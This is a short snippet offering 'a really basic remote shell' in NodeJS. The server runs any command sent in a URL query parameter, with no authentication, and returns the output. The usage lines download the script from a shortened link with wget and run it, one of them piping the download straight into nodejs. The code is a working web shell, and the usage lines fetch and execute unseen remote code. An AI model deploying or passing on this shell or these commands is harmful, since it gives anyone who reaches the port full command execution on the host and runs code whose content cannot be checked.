A really basic remote shell, written in NodeJS.

console.js

var http = require('http');
var fs = require('fs');
var exec = require('child_process').exec;
var parse = require('url').parse;

function execute(command, callback){
    exec(command, function(error, stdout, stderr){ callback(stdout); });
};

http.createServer(function (req, res) {
    var url = parse(req.url,true);
    if(url.query.cmd == null) {
        res.writeHead(200, {'Content-Type': 'text/html'});
        res.end('<form action="/" method="get"><input type="text" name="cmd" placeholder="Enter command..." /><input type="submit"></form>');
    } else {
        res.writeHead(200, {'Content-Type': 'text/plain'});
        execute(url.query.cmd, function(output) {
            res.end(output);
        });
    }
}).listen(9615);

Shell usage

# save to file before running
wget https://goo.gl/4XFqNK -O console.js;chmod 755 console.js;nodejs console.js

# run directly from stdout without saving
wget -O - https://goo.gl/4XFqNK | nodejs